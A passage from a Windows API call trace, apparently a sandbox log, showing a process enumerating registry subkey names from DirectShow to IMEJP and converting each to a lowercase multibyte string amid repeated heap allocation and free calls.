returned 17 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.255] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.255] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x24b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x24c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0184.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.256] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x24b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x24c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.256] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x24b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x24c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.256] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x24b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.256] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.256] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x24b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x24c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0184.256] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.257] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x24b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.257] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x24b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x24c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.257] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x24b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.257] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x24b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x24c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0184.257] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.257] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.258] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x24b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x24c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.258] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x24b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x24c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.258] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x24b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.258] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x24b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x24c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.258] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.258] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x24b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0184.258] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x24c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.259] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x24b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x24c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.259] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x24b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.259] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x24b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x24c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.259] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.259] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0x24b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.259] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x24c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.260] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0x24b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x24c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.260] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0x24b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x24c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.260] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0x24b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x24c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.260] 